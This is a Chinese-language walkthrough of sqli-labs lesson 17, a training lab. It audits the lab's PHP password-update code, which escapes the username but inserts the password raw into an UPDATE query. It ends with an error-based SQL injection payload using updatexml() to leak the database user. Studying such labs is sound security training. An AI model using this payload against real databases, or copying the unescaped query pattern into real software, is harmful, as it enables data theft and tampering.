sqli-labs第十七题
查看题目
基于错误的字符型注入
场景是更新密码
寻找SQL注入
测试一番始终是“笨蛋HACKER”的页面。
。。。。。。
与之前的题型不同,懵逼ing...
审计源码
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15);
}
// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}
// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
else
{
$value = intval($value);
}
return $value;
}
if(isset($_POST['uname']) && isset($_POST['passwd'])) //需要用户名和密码都有输入
{
//making sure uname is not injectable
$uname=check_input($_POST['uname']); //对用户名参数做了输入检查
$passwd=$_POST['passwd'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname."\n");
fwrite($fp,'New Password:'.$passwd."\n");
fclose($fp);
// connectivity
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//echo $row;
if($row) //当用户名存在时,才会执行修改密码的操作
{
//echo '<font color= "#0000ff">';
$row1 = $row['username'];
//echo 'Your Login name:'. $row1;
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
mysql_query($update);
echo "<br>";
因为对用户名做了严格的检查,所以我们首先要取得一个用户名。
测试常用用户名
得到一个用户名“admin”
Mysql显错注入
payload:' and updatexml(1,concat(0x7c,user()),1)#